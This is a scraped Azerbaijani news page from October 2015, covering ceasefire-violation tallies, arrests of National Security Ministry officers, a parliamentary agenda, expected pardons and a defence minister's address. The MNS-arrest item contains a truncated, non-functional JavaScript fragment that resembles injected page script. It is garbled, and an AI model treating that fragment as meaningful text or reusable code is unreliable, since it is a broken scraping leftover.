Azərbaycan MN: Erməni silahlı bölmələri atəşkəs rejimini 93 dəfə pozub

Azərbaycan Silahlı Qüvvələri əməliyyat şəraitini nəzərə alaraq düşmənin atəş nöqtələrinə, mövqelərinə və səngərlərinə 97 dəfə atəş zərbəsi endirib Erməni silahlı bölmələri cəbhənin müxtəlif istiqamətlərində sutka ərzində atəşkəs rejimini ümumilikdə 93 dəfə pozub. Müdafiə Nazirliyinin mətbuat xidmətindən  verilən məlumata görə, Ermənistan Respublikası İcevan rayonunun Berkaber kəndində yerləşən mövqelərdən Qazax rayonunun Qızılhacılı kəndində, Berd rayonunun Çinari kəndində yerləşən mövqelərdən Tovuz rayonunun Koxanəbi kəndində, Krasnoselsk rayonu ərazisindəki adsız yüksəkliklərdə yerləşən mövqelərdən Gədəbəy rayonu ərazisindəki adsız yüksəkliklərdə yerləşən Azərbaycan ordusunun mövqeləri atəşə tutulub.Goranboy rayonunun Tapqaraqoyunlu, Gülüstan, Tərtər rayonunun Çiləbürt, Ağdam rayonunun Kəngərli, Sarıcalı, Şuraabad, Yusifcanlı, Xocavənd rayonunun Kuropatkino, Füzuli rayonunun Horadiz, Qaraxanbəyli, Aşağı Seyidəhmədli, Aşağı Veysəlli, Cəbrayıl rayonunun Mehdili kəndləri yaxınlığında, həmçinin Göygöl, Goranboy, Xocavənd, Füzuli və Cəbrayıl rayonları ərazisindəki adsız yüksəkliklərdə yerləşən mövqelərdən də Azərbaycan Silahlı Qüvvələrinin mövqeləri atəşə tutulub.Azərbaycan Silahlı Qüvvələri əməliyyat şəraitini nəzərə alaraq düşmənin atəş nöqtələrinə, mövqelərinə və səngərlərinə 97 dəfə atəş zərbəsi endirib.

23 Oktyabr 2015 9:51

Azərbaycan Silahlı Qüvvələri düşmən mövqelərinə 105 dəfə atəş zərbəsi endirib

Erməni silahlı bölmələri atəşkəs rejimini 102 dəfə pozub Erməni silahlı bölmələri cəbhənin müxtəlif istiqamətlərində sutka ərzində atəşkəs rejimini ümumilikdə 102 dəfə pozub. Bu barədə  Azərbaycan Müdafiə Nazirliyinin mətbuat xidmətindən məlumat verilib.Belə ki, Ermənistan Respublikası İcevan rayonu ərazisindəki adsız yüksəkliklərdə, Paravakar kəndində yerləşən mövqelərdən Qazax rayonu ərazisindəki adsız yüksəkliklərdə, Ağstafa rayonunun Köhnəqışlaq kəndində, Berd rayonunun Mosesqex, Çinari kəndlərində yerləşən mövqelərdən Tovuz rayonunun Ağdam, Koxanəbi kəndlərində, Krasnoselsk rayonu ərazisindəki adsız yüksəkliklərdə yerləşən mövqelərdən Gədəbəy rayonu ərazisindəki adsız yüksəkliklərdə yerləşən Azərbaycan mövqeləri atəşə tutulub.Goranboy rayonunun Tapqaraqoyunlu, Gülüstan, Tərtər rayonunun Göyarx, Yarımca, Çaylı, Ağdam rayonunun Kəngərli, Sarıcalı, Novruzlu, Şuraabad, Qaraqaşlı, Mərzili, Yusifcanlı, Xocavənd rayonunun Kuropatkino, Füzuli rayonunun Horadiz, Qaraxanbəyli, Qorqan, Cəbrayıl rayonunun Mehdili kəndləri yaxınlığında, həmçinin Göygöl, Goranboy, Xocavənd və Cəbrayıl rayonları ərazisindəki adsız yüksəkliklərdə yerləşən mövqelərdən də Azərbaycan Silahlı Qüvvələrinin mövqeləri atəşə tutulub. Azərbaycan Silahlı Qüvvələri əməliyyat şəraitini nəzərə alaraq düşmənin atəş nöqtələrinə, mövqelərinə və səngərlərinə 105 dəfə atəş zərbəsi endirib.

21 Oktyabr 2015 10:00

MTN-in tutduğu iş adamları azadlığa buraxılacaq

Oktyabrın 17-də prezident İlham Əliyevin sərəncamı ilə Eldar Mahmudov milli təhlükəsizlik naziri vəzifəsindən azad edildi Bundan sonra isə mətbuatda Milli Təhıükəsizlik Nazirliyinin (MTN) sabiq rəhbərinin işdən çıxarılmasının səbəbləri haqqında müxtəlif versiyalar yazıldı.Ötən gün isə MTN-nin 10-dək zabiti barəsində Səbail Rayon Məhkəməsi 3 aylıq həbs qətimkan tədbiri seçib.Onlar barəsində Respublika Baş Prokurorluğunda Cinayət Məcəlləsinin 302-ci (Əməliyyat-axtarış fəaliyyəti haqqında qanunvericiliyi pozma), 308-ci (Vəzifə səlahiyyətlərindən sui-istifadə) və 309-cu (Vəzifə səlahiyyətlərini aşma) maddələri ilə cinayət işi başlanıb.Haqqında həbs qətimkan tədbiri seçilən şəxslərin hamısının adı bəlli deyil. Hələ ki həbs edilənlərdən 3 nəfərin adı bəllidir: MTN-in Aparat rəhbəri Fərhad Vahabov, nazirliyin Əməliyyat-Texniki İdarəsinin rəisi Natəvan Mirvətova və polkovnik Füzuli Ələsgərzadə.Eldar Mahmudovun nazirliyi dövründə MTN-nin sahibkarları boğması, iş adamlarını həbs etməsi barədə mətbu orqanlar silsilə yazılarla çıxış edir.Modern.az saytına hökumətdəki mənbələrdən verilən məlumata görə, MTN-nin həbs etdirdiyi biznesmenlər, iş adamları dəmir barmaqlıqlar arasından çıxma fürsəti qazanıblar. Belə ki, onlar barəsində irəli sürülən ittihamların yenidən araşdırılacağı və məhkəmənin qərarı ilə haqlarında bəraət hökmü veriləcəyi gözlənilir.Bununla bağlı ölkə başçısının MTN-nin fəaliyyətində yol verilən ciddi qanunsuzluqların araşdırılması üçün Xüsusi Dövlət Mühafizə Xidməti və Baş Prokurorluğun əməkdaşlarından ibarət yaradılan istintaq qrupuna tapşırıqlar verildiyi vurğulanır.Qeyd edək ki, ölkə başçısı İlham Əliyev Nazirlər Kabinetinin sonuncu iclasında sahibkarlara qarşı təzyiqlərə görə məmurlara xəbərdarlıq edib. “Yoxlamalarla bağlı çoxsaylı şikayətlər gəlir. Yoxlamaların sayı kifayət qədər çoxdur, yoxlayan təşkilatlar da sanki bir-biri ilə rəqabətə çıxıblar. Bu da dözülməzdir. Yoxlamaların böyük əksəriyyətinin arxasında yenə də maddi təmənna dayanır. Yoxlayan gəlir, nəyi yoxlayır, nəyi yoxlamır, ancaq nəticə etibarilə öz payını alır, çıxıb gedir. Budur reallıq. Bu, heç kim üçün sirr deyil.Buna da son qoyulmalıdır. Ona görə, qısa müddət ərzində mənə yoxlamalarla bağlı müfəssəl məlumat verilsin, hansı qurumlar kimi yoxlayırlar, ildə neçə dəfə yoxlayırlar, nə üçün yoxlayırlar? Burada bir sistem olmalıdır. Yoxlamaların tənzimlənmə mexanizmi işlənməlidir. Burada müəyyən şərtlər qoyulmalıdır – kim, nə vaxt, hansı müddət ərzində kimi yoxlaya bilər? Ümumiyyətlə, biz bu yoxlamaların sayını kəskin şəkildə aşağı salmalıyıq.Yerli icra hakimiyyəti orqanları, o cümlədən hüquq mühafizə orqanları bəzi hallarda sahibkarlara problemlər yaradırlar, bəzi hallarda onlardan pul tələb edirlər. Sahibkar heç kimə - nə yerli icra orqanlarının, nə də hüquq mühafizə orqanlarının nümayəndələrinə borclu deyil, ancaq dövlətin vergisini verməlidir, vəssalam. Sahibkarları boğurlar, soyurlar, incidirlər.Bu, dözülməz haldır. Bax, 30 minə yaxın iş yeri bağlanıb. 67 min daimi iş yeri yaradılıb, 30 mini bağlanıb. Bax, bunun təhlilini aparmaq lazımdır. Mənə məlumat verilsin ki, o iş yerləri hansı səbəblər üzündən bağlanıb. O müəssisələrin rəhbərlərini dəvət etmək, soruşmaq lazımdır. Buna son qoyulmalıdır. Əlbəttə, bunun obyektiv səbəbləri də var. Amma subyektiv səbəblər də var.Gəlirlər, əsassız tələblər irəli sürürlər, sanki bunlara kimsə borcludur. Heç kim heç kimə borclu deyil. Bu əməlləri törədənlər ciddi şəkildə cəzalandırılacaq. Onlar bu çirkin əməllərdən əl çəksinlər. Bu, ilk növbədə bizim siyasətimizə ziddir. Digər tərəfdən, bu, imkan vermir ki, iqtisadiyyatımız tam şəkildə inkişaf etsin, sahibkarlar ölkədə rahat işləsinlər.Bizdə lisenziyaların sayı həddindən artıq çoxdur. Mənə verilən məlumata görə, lisenziyaların sayı getdikcə artır. Əksinə, azalmalıdır, amma bizdə artır. Nəyə görə? Çünki müvafiq qurumlar çalışırlar ki, lisenziyaların sayını artırsınlar. Lisenziya da nədir? Pul mənbəyidir. Qanunsuz varlanma metodudur.Nəyə lazımdır bu? Buna da çox ciddi baxmaq lazımdır. Hökumət təklif versin ki, hansı lisenziyalar verilir. O əsaslıdır, əsaslı deyil və o lisenziyaların sayı kəskin şəkildə azaldılmalıdır. Biz liberal iqtisadiyyat, bazar iqtisadiyyatı modelini seçmişik və bu yolla gedirik. Görün, nə qədər böyük uğurlar əldə etmişik.Əgər ölkə daxilində mane olanlar olmasaydı gör, biz daha nə qədər böyük uğurlar əldə edərdik. Əgər rüşvətxorluq, korrupsiya, yoxlamalar, lisenziyalar, haqqoyma olmasaydı, görün, büdcəmiz nə qədər arta bilərdi?! Buna nə qədər dözmək olar?! Artıq qurtardı, yəni, hövsələ tükənib. Hər kəs nəticə çıxarsın. Nəticə çıxarmasa, cəzalandırılacaq”-deyə İlham Əliyev Nazirlər Kabinetinin 12 oktyabr tarixdə keçirlmiş iclasında vurğulayıb.

20 Oktyabr 2015 1:10

MTN-in 10 zabiti məhkəmə qarşısında

Baş Prokuror yanında Korrupsiya Qarşı Mübarizə İdarəsi tərəfindən Milli Təhlükəsizlik Nazirliyinin 10 əməkdaşı barəsində həbs qərarının çıxarılması ilə bağlı məhkəməyə təqdimat göndərilib. Faktinfo.az  teleqraf.com-a istinadən xəbər verir ki, həbs qərarının çıxarılması ilə bağlı təqdimat Nəsimi rayon Məhkəməsinə göndərilib. Hazırda həmin şəxslərin barəsində həbs qərarının çıxarılması üçün proses keçirilir. Sayt yazır ki, artıq Vəkillər Kollegiyasına da 10 vəkilin təcili məhkəməyə çağırılması üçün çağırış göndərilib. Vəkillər Kollegiyasının 14-cü hüquq məsləhətxanasından 10 vəkil həmin təqdimatla bağlı keçirilən məhkəmə prosesinə göndəriliblər. 14 saylı hüquq məshələtxanasından bildiriblər ki, burada olan vəkillər Nəsimi rayon Məhkəməsində bir qrup şəxsin barəsində həbs qərarının çıxarılması ilə bağlı prosesdə iştirak edirlər: “Günün sonu olduğu üçün bizdə ətraflı məlumat yoxdur. Buna görə də kimlərin barəsində proses keçirilir, bu barədə də məlumat verə bilmərik”. Xatırladaq ki, Eldar Mahmudov oktyabrın 17-də Milli Təhlükəsizlik naziri vəzifəsindən azad edilib. Bundan sonra Baş Prokuror yanında Korrupsiya İdarəsi MTN-də yoxlamalara başlayıb. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

19 Oktyabr 2015 10:29

Milli Məclis sabah indiki tərkibdə son iclasını keçirəcək

  Sabah Milli Məclisin IV çağırışının son iclası keçiriləcək "Report" xəbər verir ki, iclasın gündəliyinə 33 məsələ daxil edilib. İclasda ilk olaraq "Azərbaycan Respublikasının 2016-cı il dövlət büdcəsi haqqında", "Azərbaycan Respublikası Dövlət Sosial Müdafiə Fondunun 2016-cı il büdcəsi haqqında", "Azərbaycan Respublikasında 2016-cı il üçün yaşayış minimumu haqqında" və "Azərbaycan Respublikasında 2016-cı il üçün ehtiyac meyarının həddi haqqında" qanun layihələri müzakirə olunacaq. Bundan başqa, iclasın gündəliyində Azərbaycanın bir neçə ölkəylə imzaladığı sazişlərin təsdiqi, eləcə də Milli Məclisin və Hesablama Palatasının 2016-cı il üçün xərclər smetasının müzakirəsi var. Eyni zamanda, Vergi, Mülki Prosessual, Miqrasiya, Cinayət, İnzibati Xətalar məcəllələrində dəyişiklik edilməsi nəzərdə tutulub. "Dövlət rüsumu haqqında", "İcra haqqında", "Məhkəmələr və hakimlər haqqında", "Məhkəmə-Hüquq Şurası haqqında", "Cinayət törətmiş şəxslərin verilməsi (ekstradisiya) haqqında", "İnformasiya əldə etmək haqqında", "Kütləvi informasiya vasitələri haqqında", "Cinayət yolu ilə əldə edilmiş pul vəsaitlərinin və ya digər əmlakın leqallaşdırılmasına və terrorçuluğun maliyyələşdirilməsinə qarşı mübarizə haqqında", "Azərbaycan Respublikasının Mərkəzi Bankı haqqında", "Dövlət əmlakının özəlləşdirilməsi haqqında", "Avtomobil nəqliyyatı haqqında", "Bələdiyyələrin əraziləri və torpaqları haqqında" qanuna əlavə edilən "Azərbaycan Respublikasında bələdiyyələrin siyahısı"nda dəyişikliklər edilməsi də gündəlikdə yer alan məsələlər sırasındadır. Milli Məclis Bakı və Gəncə apelyasiya məhkəmələrinə hakimlərin təyin edilməsi məsələsinə də baxacaq.

19 Oktyabr 2015 2:56

Parlament seçkisindən sonra əfv sərəncamı veriləcək

  “Parlament seçkilərindən sonra əfv gözlənilir” Bu haqda modern.az saytına İnsan Hüquqları üzrə Birgə İşçi Qrupun üzvü, hüquq müdafiəçisi Səadət Bənənyarlı məlumat verib. O bildirib ki, seçki ərəfəsində əfv sərəncamının verilməsi real görünməsə də, seçkilər başa çatdıqdan sonra əfv olmalıdır: “Bizim tərəfimizdən tərtib edilən siyahıda 27 nəfər məhbusun adı var. Onlar Tofiq Yaqublu, İlqar Məmmədov, Əli İnsanov, Leyla Yunus, Arif Yunus, Akif Muradverdiyev, İntiqam Əliyev və başqalarıdır”. S.Bənanyarlı Şəmkirin keçmiş icra başçısı Aslan Aslanovun oğlunun qətlinə görə ömürlük həbs cəzası alan Vüqar Əliyevlə bağlı məsələyə də aydınlıq gətirib: “O məhbusun adı bizim siyahıya salınmayıb. Buna baxmayaraq, hesab edirəm ki, cinayətdə onunla birlikdə iştirak edən elən Lamiyə Quliyeva azadlığa çıxıbsa, Vüqarın da əfv olunması gözləniləndir”. Hüquq müdafiəçisi həbsi ictimai marağa səbəb olan, “Qəbələ”nin keçmiş kapitanı Cavid Hüseynovun təqsirləndirildiyi işdə siyasi motivlərin olmadığını dilə gətirib: “Təbii ki, ortada cinayət var və cinayətdə iştirak edənlər mütləq cəzasını almalıdır. Onun günahkar olub-olmamasını məhkəmə müəyyən edəcək. O, ev dustaqlığına buraxılsaydı belə, oyunlara qatıla bilməyəcəkdi. Əgər cinayətin sifarişçisi varsa, cəzasını almalıdır. Amma mən burada siyasi motiv görmürəm”. İnsan Hüquqları üzrə Birgə İşçi Qrupun digər üzvü, hüququ müdafiəçisi Novella Cəfərovğlu da gözlənilən əfv sərəncamı ilə bağlı fikirlərini bölüşüb: “Biz hazırladığımız siyahını Əfv Məsələləri üzrə Dövlət Komissiyasına təqdim etmişik. Amma komissiya siyahını yenidən istədi, biz də yenidən təqdim etdik”. N.Cəfəroğlu nəticə ilə bağlı hər hansı məlumat almadıqlarını deyib. “Hələlik məlumat yoxdur. Bizim siyahıya 27 nəfər məhbusun adı daxil edilib. Hər halda gözləyirik”,-deyə o, qeyd edib.

19 Oktyabr 2015 12:27

Zakir Həsənov: “İnanıram ki, hər an döyüşə hazır olacaqsınız“

  Müdafiə naziri, general-polkovnik Zakir Həsənov Azərbaycanın Dövlət Müstəqilliyi Günü münasibətilə Silahlı Qüvvələrin şəxsi heyətini təbrik edib Faktinfo.az nazirliyin saytına istinadən məlumatına görə, nazir qeyd edib ki, dövlət müstəqilliyinin əldə edilməsi xalqımızın ən böyük nailiyyətlərindən biridir: “Əldə edilmiş müstəqilliyin, vətəndaş birliyinin, həmrəyliyin, sabitliyin qorunub saxlanılması, Azərbaycanın müstəqil dövlət olaraq dünya dövlətləri arasında rolunun və nüfuzunun möhkəmləndirilməsi məhz ümummilli lider Heydər Əliyevin adı ilə bağlıdır. Prezidentimiz cənab İlham Əliyevin rəhbərliyi altında regionun lider dövləti kimi beynəlxalq nüfuzunu və iqtisadi qüdrətini artıran ölkəmizdə iqtisadiyyatın dinamik inkişafı təmin edilmiş, əhalinin həyat səviyyəsi yaxşılaşmış, respublikamızın müdafiə qüdrətinin artırılması sahəsində böyük uğurlara nail olunmuş və müstəqilliyimiz daha da möhkəmlənib. İnanıram ki, siz silah və texnikanın sirlərini dərindən mənimsəyəcək, bilik və bacarığınızı, ata və babalarımızın qəhrəmanlıq nümunələrindən bəhrələnərək döyüş qabiliyyətinizi daha da artıracaq, hər an dövlət müstəqilliyimizin qorunması və işğal olunmuş torpaqlarımızın azad edilməsi naminə döyüşə hazır olacaqsınız. Hər birinizə möhkəm cansağlığı, uzun ömür, ailə səadəti, təlimlərdə, döyüş hazırlığında uğurlar arzulayıram".

17 Oktyabr 2015 12:09

Fakt

Bizi izləyin